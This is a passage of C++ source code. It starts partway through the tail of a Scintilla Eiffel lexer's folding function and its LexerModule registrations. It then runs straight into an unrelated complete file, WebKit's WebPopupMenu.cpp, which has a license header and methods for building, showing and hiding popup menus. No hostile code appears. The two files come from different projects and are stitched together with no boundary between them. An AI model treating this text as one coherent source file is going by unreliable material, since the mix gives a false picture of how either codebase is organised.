			visibleChars = 0;
		}
		if (!isspacechar(ch))
			visibleChars++;
		stylePrev = style;
	}
	// Fill in the real level of the next line, keeping the current flags as they will be filled in later
	int flagsNext = styler.LevelAt(lineCurrent) & ~SC_FOLDLEVELNUMBERMASK;
	styler.SetLevel(lineCurrent, levelPrev | flagsNext);
}

static const char * const eiffelWordListDesc[] = {
	"Keywords",
	0
};

LexerModule lmEiffel(SCLEX_EIFFEL, ColouriseEiffelDoc, "eiffel", FoldEiffelDocIndent, eiffelWordListDesc);
LexerModule lmEiffelkw(SCLEX_EIFFELKW, ColouriseEiffelDoc, "eiffelkw", FoldEiffelDocKeyWords, eiffelWordListDesc);


/*
 * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 * Copyright (C) 2010 Apple Inc. All rights reserved.
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Library General Public
 * License as published by the Free Software Foundation; either
 * version 2 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Library General Public License for more details.
 *
 * You should have received a copy of the GNU Library General Public License
 * along with this library; see the file COPYING.LIB.  If not, write to
 * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
 * Boston, MA 02110-1301, USA.
 *
 */

#include "config.h"
#include "WebPopupMenu.h"

#include "PlatformPopupMenuData.h"
#include "WebCoreArgumentCoders.h"
#include "WebPage.h"
#include "WebPageProxyMessages.h"
#include "WebProcess.h"
#include <WebCore/FrameView.h>
#include <WebCore/PopupMenuClient.h>

using namespace WebCore;

namespace WebKit {

Ref<WebPopupMenu> WebPopupMenu::create(WebPage* page, PopupMenuClient* client)
{
    return adoptRef(*new WebPopupMenu(page, client));
}

WebPopupMenu::WebPopupMenu(WebPage* page, PopupMenuClient* client)
    : m_popupClient(client)
    , m_page(page)
{
}

WebPopupMenu::~WebPopupMenu()
{
}

void WebPopupMenu::disconnectClient()
{
    m_popupClient = 0;
}

void WebPopupMenu::didChangeSelectedIndex(int newIndex)
{
    if (!m_popupClient)
        return;

    m_popupClient->popupDidHide();
    if (newIndex >= 0)
        m_popupClient->valueChanged(newIndex);
}

void WebPopupMenu::setTextForIndex(int index)
{
    if (!m_popupClient)
        return;

    m_popupClient->setTextFromItem(index);
}

Vector<WebPopupItem> WebPopupMenu::populateItems()
{
    size_t size = m_popupClient->listSize();

    Vector<WebPopupItem> items;
    items.reserveInitialCapacity(size);

    for (size_t i = 0; i < size; ++i) {
        if (m_popupClient->itemIsSeparator(i))
            items.append(WebPopupItem(WebPopupItem::Separator));
        else {
            // FIXME: Add support for styling the font.
            // FIXME: Add support for styling the foreground and background colors.
            // FIXME: Find a way to customize text color when an item is highlighted.
            PopupMenuStyle itemStyle = m_popupClient->itemStyle(i);
            items.append(WebPopupItem(WebPopupItem::Item, m_popupClient->itemText(i), itemStyle.textDirection(), itemStyle.hasTextDirectionOverride(), m_popupClient->itemToolTip(i), m_popupClient->itemAccessibilityText(i), m_popupClient->itemIsEnabled(i), m_popupClient->itemIsLabel(i), m_popupClient->itemIsSelected(i)));
        }
    }

    return items;
}

void WebPopupMenu::show(const IntRect& rect, FrameView* view, int index)
{
    // FIXME: We should probably inform the client to also close the menu.
    Vector<WebPopupItem> items = populateItems();

    if (items.isEmpty() || !m_page) {
        m_popupClient->popupDidHide();
        return;
    }

    m_page->setActivePopupMenu(this);

    // Move to page coordinates
    IntRect pageCoordinates(view->contentsToWindow(rect.location()), rect.size());

    PlatformPopupMenuData platformData;
    setUpPlatformData(pageCoordinates, platformData);

    WebProcess::singleton().parentProcessConnection()->send(Messages::WebPageProxy::ShowPopupMenu(pageCoordinates, m_popupClient->menuStyle().textDirection(), items, index, platformData), m_page->pageID());
}

void WebPopupMenu::hide()
{
    if (!m_page || !m_popupClient)
        return;

    WebProcess::singleton().parentProcessConnection()->send(Messages::WebPageProxy::HidePopupMenu(), m_page->pageID());
    m_page->setActivePopupMenu(0);
}

void WebPopupMenu::updateFromElement()
{
}

} // namespace WebKit